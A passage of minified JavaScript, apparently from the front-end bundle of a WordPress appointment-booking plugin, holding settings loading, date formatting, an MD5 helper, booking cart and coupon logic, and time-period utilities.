Y\",time_format:\"H:i\",week_starts_on:0,thumbnail_size:{width:150,height:150},flatpickr_locale:\"en\",enable_payments:!1,active_gateways:[],reservation_received_page_url:\"\",failed_transaction_page_url:\"\",default_payment_gateway:\"\"}}load(){return new Promise(((e,t)=>{h(\"\u002Fsettings\").then((e=>this.settings=e),(e=>console.error(\"Unable to load public settings.\",e))).finally((()=>e(this.settings)))}))}ready(){return this.loadingPromise}getPluginName(){return this.settings.plugin_name}getBusinessDate(){return this.settings.today}getBusinessName(){return this.settings.business_name}getTimeStep(){return this.settings.default_time_step}getDefaultBookingStatus(){return this.settings.default_booking_status}getConfirmationMode(){return this.settings.confirmation_mode}getTermsPageIdForAcceptance(){return this.settings.terms_page_id_for_acceptance}isMultibookingEnabled(){return this.settings.allow_multibooking}isCouponsEnabled(){return this.settings.allow_coupons}isAllowCustomerAccountCreation(){return this.settings.allow_customer_account_creation}getCountry(){return this.settings.country}getCurrency(){return this.settings.currency}getCurrencySymbol(){return this.settings.currency_symbol}getCurrencyPosition(){return this.settings.currency_position}getDecimalSeparator(){return this.settings.decimal_separator}getThousandSeparator(){return this.settings.thousand_separator}getDecimalsCount(){return this.settings.number_of_decimals}getTimezone(){return this.settings.timezone}getDateFormat(){return this.settings.date_format}getTimeFormat(){return this.settings.time_format}getFirstDayOfWeek(){return this.settings.week_starts_on}getThumbnailSize(){return this.settings.thumbnail_size}getFlatpickrLocale(){return this.settings.flatpickr_locale}isPaymentsEnabled(){return this.settings.enable_payments}getActiveGateways(){return this.settings.active_gateways}getReservationReceivedPageUrl(){return this.settings.reservation_received_page_url}getFailedTransactionPageUrl(){return this.settings.failed_transaction_page_url}getDefaultPaymentGateway(){return this.settings.default_payment_gateway}}class d{constructor(){this.settingsCtrl=new p,this.loadingPromise=this.load()}load(){return Promise.all([this.settingsCtrl.ready()]).then((()=>this))}ready(){return this.loadingPromise}settings(){return this.settingsCtrl}static getInstance(){return null==d.instance&&(d.instance=new d),d.instance}}function m(){return d.getInstance()}const u=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.__?wp.i18n.__:(e,t=\"\")=>e,g=\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n._x?wp.i18n._x:(e,t,i=\"\")=>e;\"undefined\"!=typeof wp&&wp.i18n&&wp.i18n.sprintf&&wp.i18n.sprintf;const y={weekdays:{shorthand:[u(\"Sun\",\"motopress-appointment\"),u(\"Mon\",\"motopress-appointment\"),u(\"Tue\",\"motopress-appointment\"),u(\"Wed\",\"motopress-appointment\"),u(\"Thu\",\"motopress-appointment\"),u(\"Fri\",\"motopress-appointment\"),u(\"Sat\",\"motopress-appointment\")],longhand:[u(\"Sunday\",\"motopress-appointment\"),u(\"Monday\",\"motopress-appointment\"),u(\"Tuesday\",\"motopress-appointment\"),u(\"Wednesday\",\"motopress-appointment\"),u(\"Thursday\",\"motopress-appointment\"),u(\"Friday\",\"motopress-appointment\"),u(\"Saturday\",\"motopress-appointment\")]},months:{shorthand:[u(\"Jan\",\"motopress-appointment\"),u(\"Feb\",\"motopress-appointment\"),u(\"Mar\",\"motopress-appointment\"),u(\"Apr\",\"motopress-appointment\"),g(\"May\",\"Month (short)\",\"motopress-appointment\"),u(\"Jun\",\"motopress-appointment\"),u(\"Jul\",\"motopress-appointment\"),u(\"Aug\",\"motopress-appointment\"),u(\"Sep\",\"motopress-appointment\"),u(\"Oct\",\"motopress-appointment\"),u(\"Nov\",\"motopress-appointment\"),u(\"Dec\",\"motopress-appointment\")],longhand:[u(\"January\",\"motopress-appointment\"),u(\"February\",\"motopress-appointment\"),u(\"March\",\"motopress-appointment\"),u(\"April\",\"motopress-appointment\"),g(\"May\",\"Month\",\"motopress-appointment\"),u(\"June\",\"motopress-appointment\"),u(\"July\",\"motopress-appointment\"),u(\"August\",\"motopress-appointment\"),u(\"September\",\"motopress-appointment\"),u(\"October\",\"motopress-appointment\"),u(\"November\",\"motopress-appointment\"),u(\"December\",\"motopress-appointment\")]},amPM:[\"AM\",\"PM\"],firstDayOfWeek:m().settings().getFirstDayOfWeek()};function f(t,i=\"public\"){if(\"string\"==typeof t)return t;if(\"internal\"==i)return f(t,\"Y-m-d\");if(\"public\"==i)return e.format(m().settings().getDateFormat(),t);let s=(e,t=2)=>(\"00\"+e).slice(-t),a=!1;return i.split(\"\").map((e=>{if(a)return a=!1,e;switch(e){case\"\\\\\":return a=!0,\"\";case\"j\":return t.getDate();case\"d\":return s(t.getDate());case\"D\":return y.weekdays.shorthand[t.getDay()];case\"l\":return y.weekdays.longhand[t.getDay()];case\"N\":return t.getDay()||7;case\"w\":return t.getDay();case\"z\":let i=new Date(t.getFullYear(),0,1),r=i.getTimezoneOffset()-t.getTimezoneOffset(),n=t-i+60*r*1e3,o=864e5;return Math.floor(n\u002Fo);case\"W\":let l=new Date(Date.UTC(t.getFullYear(),t.getMonth(),t.getDate())),h=l.getUTCDay()||7;l.setUTCDate(l.getUTCDate()+4-h);let c=new Date(Date.UTC(l.getUTCFullYear(),0,1)),p=864e5;return Math.ceil(((l-c)\u002Fp+1)\u002F7);case\"F\":return y.months.longhand[t.getMonth()];case\"M\":return y.months.shorthand[t.getMonth()];case\"m\":return s(t.getMonth()+1);case\"n\":return t.getMonth()+1;case\"t\":return new Date(t.getFullYear(),t.getMonth()+1,0).getDate();case\"Y\":return t.getFullYear();case\"y\":return String(t.getFullYear()).substring(2);case\"L\":return t.getFullYear()%4==0?1:0;case\"A\":return y.amPM[t.getHours()>11?1:0];case\"a\":return y.amPM[t.getHours()>11?1:0].toLowerCase();case\"H\":return s(t.getHours());case\"h\":return s(t.getHours()%12||12);case\"G\":return t.getHours();case\"g\":return t.getHours()%12||12;case\"i\":return s(t.getMinutes());case\"s\":return s(t.getSeconds());case\"v\":return s(t.getMilliseconds(),3);case\"u\":return s(t.getMilliseconds(),3)+\"000\";case\"O\":case\"P\":let d=-t.getTimezoneOffset(),m=d>=0?\"+\":\"-\",u=Math.floor(Math.abs(d)\u002F60),g=Math.abs(d)%60,b=\"O\"==e?\"\":\":\";return m+s(u)+b+s(g);case\"Z\":return 60*t.getTimezoneOffset();case\"U\":return Math.floor(t.getTime()\u002F1e3);case\"c\":return f(t,\"Y-m-d\\\\TH:i:sP\");case\"r\":return f(t,\"D, d M Y H:i:s O\");case\"S\":case\"o\":case\"B\":case\"e\":case\"T\":case\"I\":return\"\";default:return e}})).join(\"\")}function b(e){let t=e.match(\u002F(\\d{4})-(\\d{2})-(\\d{2})\u002F);if(null!=t){let e=parseInt(t[1]),i=parseInt(t[2]),s=parseInt(t[3]);return new Date(e,i-1,s)}return null}function v(){let e=new Date;return e.setHours(0,0,0,0),e}function _(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var S,w,P={exports:{}},C={exports:{}};S=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",w={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&w.rotl(e,8)|4278255360&w.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=w.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],i=0,s=0;i\u003Ce.length;i++,s+=8)t[s>>>5]|=e[i]\u003C\u003C24-s%32;return t},wordsToBytes:function(e){for(var t=[],i=0;i\u003C32*e.length;i+=8)t.push(e[i>>>5]>>>24-i%32&255);return t},bytesToHex:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push((e[i]>>>4).toString(16)),t.push((15&e[i]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i+=2)t.push(parseInt(e.substr(i,2),16));return t},bytesToBase64:function(e){for(var t=[],i=0;i\u003Ce.length;i+=3)for(var s=e[i]\u003C\u003C16|e[i+1]\u003C\u003C8|e[i+2],a=0;a\u003C4;a++)8*i+6*a\u003C=8*e.length?t.push(S.charAt(s>>>6*(3-a)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],i=0,s=0;i\u003Ce.length;s=++i%4)0!=s&&t.push((S.indexOf(e.charAt(i-1))&Math.pow(2,-2*s+8)-1)\u003C\u003C2*s|S.indexOf(e.charAt(i))>>>6-2*s);return t}},C.exports=w;var k=C.exports,$={utf8:{stringToBytes:function(e){return $.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape($.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(255&e.charCodeAt(i));return t},bytesToString:function(e){for(var t=[],i=0;i\u003Ce.length;i++)t.push(String.fromCharCode(e[i]));return t.join(\"\")}}},T=$,I=function(e){return null!=e&&(D(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&D(e.slice(0,0))}(e)||!!e._isBuffer)};function D(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=k,t=T.utf8,i=I,s=T.bin,a=function(r,n){r.constructor==String?r=n&&\"binary\"===n.encoding?s.stringToBytes(r):t.stringToBytes(r):i(r)?r=Array.prototype.slice.call(r,0):Array.isArray(r)||r.constructor===Uint8Array||(r=r.toString());for(var o=e.bytesToWords(r),l=8*r.length,h=1732584193,c=-271733879,p=-1732584194,d=271733878,m=0;m\u003Co.length;m++)o[m]=16711935&(o[m]\u003C\u003C8|o[m]>>>24)|4278255360&(o[m]\u003C\u003C24|o[m]>>>8);o[l>>>5]|=128\u003C\u003Cl%32,o[14+(l+64>>>9\u003C\u003C4)]=l;var u=a._ff,g=a._gg,y=a._hh,f=a._ii;for(m=0;m\u003Co.length;m+=16){var b=h,v=c,_=p,S=d;h=u(h,c,p,d,o[m+0],7,-680876936),d=u(d,h,c,p,o[m+1],12,-389564586),p=u(p,d,h,c,o[m+2],17,606105819),c=u(c,p,d,h,o[m+3],22,-1044525330),h=u(h,c,p,d,o[m+4],7,-176418897),d=u(d,h,c,p,o[m+5],12,1200080426),p=u(p,d,h,c,o[m+6],17,-1473231341),c=u(c,p,d,h,o[m+7],22,-45705983),h=u(h,c,p,d,o[m+8],7,1770035416),d=u(d,h,c,p,o[m+9],12,-1958414417),p=u(p,d,h,c,o[m+10],17,-42063),c=u(c,p,d,h,o[m+11],22,-1990404162),h=u(h,c,p,d,o[m+12],7,1804603682),d=u(d,h,c,p,o[m+13],12,-40341101),p=u(p,d,h,c,o[m+14],17,-1502002290),h=g(h,c=u(c,p,d,h,o[m+15],22,1236535329),p,d,o[m+1],5,-165796510),d=g(d,h,c,p,o[m+6],9,-1069501632),p=g(p,d,h,c,o[m+11],14,643717713),c=g(c,p,d,h,o[m+0],20,-373897302),h=g(h,c,p,d,o[m+5],5,-701558691),d=g(d,h,c,p,o[m+10],9,38016083),p=g(p,d,h,c,o[m+15],14,-660478335),c=g(c,p,d,h,o[m+4],20,-405537848),h=g(h,c,p,d,o[m+9],5,568446438),d=g(d,h,c,p,o[m+14],9,-1019803690),p=g(p,d,h,c,o[m+3],14,-187363961),c=g(c,p,d,h,o[m+8],20,1163531501),h=g(h,c,p,d,o[m+13],5,-1444681467),d=g(d,h,c,p,o[m+2],9,-51403784),p=g(p,d,h,c,o[m+7],14,1735328473),h=y(h,c=g(c,p,d,h,o[m+12],20,-1926607734),p,d,o[m+5],4,-378558),d=y(d,h,c,p,o[m+8],11,-2022574463),p=y(p,d,h,c,o[m+11],16,1839030562),c=y(c,p,d,h,o[m+14],23,-35309556),h=y(h,c,p,d,o[m+1],4,-1530992060),d=y(d,h,c,p,o[m+4],11,1272893353),p=y(p,d,h,c,o[m+7],16,-155497632),c=y(c,p,d,h,o[m+10],23,-1094730640),h=y(h,c,p,d,o[m+13],4,681279174),d=y(d,h,c,p,o[m+0],11,-358537222),p=y(p,d,h,c,o[m+3],16,-722521979),c=y(c,p,d,h,o[m+6],23,76029189),h=y(h,c,p,d,o[m+9],4,-640364487),d=y(d,h,c,p,o[m+12],11,-421815835),p=y(p,d,h,c,o[m+15],16,530742520),h=f(h,c=y(c,p,d,h,o[m+2],23,-995338651),p,d,o[m+0],6,-198630844),d=f(d,h,c,p,o[m+7],10,1126891415),p=f(p,d,h,c,o[m+14],15,-1416354905),c=f(c,p,d,h,o[m+5],21,-57434055),h=f(h,c,p,d,o[m+12],6,1700485571),d=f(d,h,c,p,o[m+3],10,-1894986606),p=f(p,d,h,c,o[m+10],15,-1051523),c=f(c,p,d,h,o[m+1],21,-2054922799),h=f(h,c,p,d,o[m+8],6,1873313359),d=f(d,h,c,p,o[m+15],10,-30611744),p=f(p,d,h,c,o[m+6],15,-1560198380),c=f(c,p,d,h,o[m+13],21,1309151649),h=f(h,c,p,d,o[m+4],6,-145523070),d=f(d,h,c,p,o[m+11],10,-1120210379),p=f(p,d,h,c,o[m+2],15,718787259),c=f(c,p,d,h,o[m+9],21,-343485551),h=h+b>>>0,c=c+v>>>0,p=p+_>>>0,d=d+S>>>0}return e.endian([h,c,p,d])};a._ff=function(e,t,i,s,a,r,n){var o=e+(t&i|~t&s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._gg=function(e,t,i,s,a,r,n){var o=e+(t&s|i&~s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._hh=function(e,t,i,s,a,r,n){var o=e+(t^i^s)+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._ii=function(e,t,i,s,a,r,n){var o=e+(i^(t|~s))+(a>>>0)+n;return(o\u003C\u003Cr|o>>>32-r)+t},a._blocksize=16,a._digestsize=16,P.exports=function(t,i){if(null==t)throw new Error(\"Illegal argument \"+t);var r=e.wordsToBytes(a(t,i));return i&&i.asBytes?r:i&&i.asString?s.bytesToString(r):e.bytesToHex(r)}}();var E=_(P.exports);class A{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?f(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&f(this.date,\"internal\")==f(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(n(t.minCapacity,t.maxCapacity));return s(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return E(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let M=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let i=!this.includesKey(e);return this.values[e]=t,i&&(this.keys.push(e),this.length++),i}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let i=this.findNextKey(e);return\"\"!==i?this.values[i]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t+1;return i\u003Cthis.length?this.keys[i]:this.keys[t]}findPrevious(e,t=null){let i=this.findPreviousKey(e);return\"\"!==i?this.values[i]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let i=t-1;return i>=0?this.keys[i]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let i=this.keys.indexOf(e);return this.keys.splice(i,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let i of this.keys){let s=this.values[i][e];null!=s&&(Array.isArray(s)?t=t.concat(s):t.push(s))}return s(t)}forEach(e){let t=0;for(let i of this.keys){let s=e(this.values[i],t,i,this);if(t++,!1===s)break}}map(e){let t=[],i=0;for(let s of this.keys)t.push(e(this.values[s],i,s,this)),i++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}},x={};function F(e,t=!1){return\"object\"==typeof e?0==function(e,t=!1){return\"object\"==typeof e?Array.isArray(e)?e.length:Object.keys(e).length:t?0:1}(e):!!t||!e}function B(e=\"\",t=!1){let i=function(e,t){return t\u003C(e=parseInt(e,10).toString(16)).length?e.slice(e.length-t):t>e.length?Array(t-e.length+1).join(\"0\")+e:e};x.uniqid_seed||(x.uniqid_seed=Math.floor(123456789*Math.random())),x.uniqid_seed++;let s=e;return s+=i(parseInt((new Date).getTime()\u002F1e3,10),8),s+=i(x.uniqid_seed,5),t&&(s+=(10*Math.random()).toFixed(8).toString()),s}class L{setupProperties(){this.items=new M,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=B());let t=new A(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let i of e)t+=i.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let i=t.getPrice();this.hasCoupon()&&(i-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(i)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),m().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return E(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||v()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=s(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class O{constructor(e,t={}){this.id=e,this.setupProperties(),this.setupValues(t)}setupProperties(){}setupValues(e){for(let t in e)this[t]=e[t]}getId(){return this.id}}class R extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class N extends O{setupProperties(){super.setupProperties(),this.name=\"\"}}class V extends O{setupProperties(){super.setupProperties(),this.name=\"\",this.price=0,this.depositType=\"disabled\",this.depositAmount=0,this.duration=0,this.bufferTimeBefore=0,this.bufferTimeAfter=0,this.timeBeforeBooking=\"\",this.maxAdvanceTimeBeforeReservation=\"\",this.minCapacity=1,this.maxCapacity=1,this.multiplyPrice=!1,this.isGroupServiceEnabled=!1,this.customQuantityLabel=\"\",this.variations={},this.image=\"\",this.thumbnail=\"\"}getName(){return this.name}getPrice(e=0,t=0){t||(t=this.minCapacity);let i=this.getVariation(\"price\",e,this.price);return this.multiplyPrice&&(i*=t),i}getDuration(e=0){return this.getVariation(\"duration\",e,this.duration)}getMinCapacity(e=0){return this.getVariation(\"min_capacity\",e,this.minCapacity)}getMaxCapacity(e=0){return this.getVariation(\"max_capacity\",e,this.maxCapacity)}getVariation(e,t,i){return t in this.variations?this.variations[t][e]:i}setName(e){this.name=e}isGroupService(){return this.isGroupServiceEnabled}getCustomQuantityLabel(){return this.customQuantityLabel}getQuantityLabel(){return\"\"!==this.customQuantityLabel?this.getCustomQuantityLabel():u(\"Clients\",\"motopress-appointment\")}}class q{static loadInBackground(e,t,i=!1){return t.findById(e.id,i).then((t=>{if(null!==t)for(let i in t)e[i]=t[i];return t}))}}class U extends O{setupProperties(){super.setupProperties(),this.status=\"new\",this.code=\"\",this.description=\"\",this.type=\"fixed\",this.amount=0,this.expirationDate=null,this.serviceIds=[],this.minDate=null,this.maxDate=null,this.usageLimit=0,this.usageCount=0}setupValues(e){for(let t of[\"expirationDate\",\"minDate\",\"maxDate\"]){let i=e[t];null!=i&&\"\"!==i&&(this[t]=b(i)),delete e[t]}super.setupValues(e)}getCode(){return this.code}isApplicableForCart(e){let t=!1;return e.items.forEach((e=>{if(this.isApplicableForCartItem(e))return t=!0,!1})),t}isApplicableForCartItem(e){return!!e.isSet()&&(!(this.serviceIds.length>0&&-1==this.serviceIds.indexOf(e.service.id))&&(!(null!=this.minDate&&e.date\u003Cthis.minDate)&&!(null!=this.maxDate&&e.date>this.maxDate)))}calcDiscountAmount(e){let t=this.calcDiscountForCart(e);return Math.min(t,e.getSubtotalPrice())}calcDiscountForCart(e){let t=0;return e.items.forEach((e=>{t+=this.calcDiscountForCartItem(e)})),t}calcDiscountForCartItem(e){let t=0;if(this.isApplicableForCartItem(e)){let i=e.getPrice();switch(this.type){case\"fixed\":t=this.amount;break;case\"percentage\":t=i*this.amount\u002F100}t=Math.min(t,i)}return t}}function H(e){return!!e}function W(e){let t=parseInt(e);return isNaN(t)?e\u003C\u003C0:t}class j{constructor(e){var t;this.postType=e,this.entityType=0===(t=e).indexOf(\"mpa_\")?t.substring(4):0===t.indexOf(\"_mpa_\")?t.substring(5):t,this.savedEntities={}}findById(e,t=!1){return e?!t&&this.haveEntity(e)&&null!=this.getEntity(e)?Promise.resolve(this.getEntity(e)):this.requestEntity(e).then((t=>{let i=this.mapRestDataToEntity(t);return this.saveEntity(e,i),i}),(t=>(this.saveEntity(e,null),null))):Promise.resolve(null)}findAll(e,t=!1){let i=[],s=[];for(let a of e)this.haveEntity(a)&&!t?s.push(this.getEntity(a)):i.push(a);return 0===i.length?Promise.resolve(s):this.requestEntities(i).then((e=>{for(let t of e){let e=this.mapRestDataToEntity(t);this.saveEntity(e.id,e),s.push(e)}return s}),(e=>[]))}requestEntity(e){return h(this.getRoute(),{id:e})}requestEntities(e){return h(this.getRoute(),{id:e})}haveEntity(e){return e in this.savedEntities}getEntity(e){return this.savedEntities[e]||null}saveEntity(e,t){this.savedEntities[e]=t}mapRestDataToEntity(e){return null}getRoute(){return`\u002F${this.entityType}s`}}class z extends j{findByCode(e,t=!1){return h(this.getRoute(),{code:e}).then((e=>{let t=this.mapRestDataToEntity(e);return this.saveEntity(t.getId(),t),t}),(e=>{if(t)return null;throw e}))}mapRestDataToEntity(e){return new U(e.id,e)}}function G(e,t=\"public\"){return f(e,\"internal\"==t?\"H:i\":\"public\"==t?m().settings().getTimeFormat():t)}function Q(e){let t=e.split(\":\"),i=parseInt(t[0]),s=parseInt(t[1]),a=v();return a.setHours(i,s),a}class Y{constructor(e,t=null){this.setupProperties(),null==t?this.parsePeriod(e):(this.setStartTime(e),this.setEndTime(t))}setupProperties(){this.startTime=null,this.endTime=null}parsePeriod(e){let t=e.split(\" - \");this.setStartTime(t[0]),this.setEndTime(t[1])}setStartTime(e){this.startTime=\"string\"==typeof e?Q(e):new Date(e)}setEndTime(e){this.endTime=\"string\"==typeof e?Q(e):new Date(e),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}setDate(e){this.startTime.setFullYear(e.getFullYear()),this.startTime.setMonth(e.getMonth(),e.getDate()),this.endTime.setFullYear(e.getFullYear()),this.endTime.setMonth(e.getMonth(),e.getDate()),0===this.endTime.getHours()&&0===this.endTime.getMinutes()&&this.startTime.getFullYear()===this.endTime.getFullYear()&&this.startTime.getMonth()===this.endTime.getMonth()&&this.startTime.getDate()===this.endTime.getDate()&&this.endTime.setDate(this.endTime.getDate()+1)}intersectsWith(e){return this.startTime\u003Ce.endTime&&this.endTime>e.startTime}isSubperiodOf(e){return this.startTime>=e.startTime&&this.endTime\u003C=e.endTime}mergePeriod(e){this.startTime.setTime(Math.min(this.startTime.getTime(),e.startTime.getTime())),this.endTime.setTime(Math.max(this.endTime.getTime(),e.endTime.getTime()))}diffPeriod(e){this.startTime\u003Ce.startTime?this.endTime.setTime(Math.min(e.startTime.getTime(),this.endTime.getTime())):this.startTime.setTime(Math.max(e.endTime.getTime(),this.startTime.getTime()))}splitByPeriod(e){let t=[];return e.startTime.getTime()-this.startTime.getTime()>0&&t.push(new 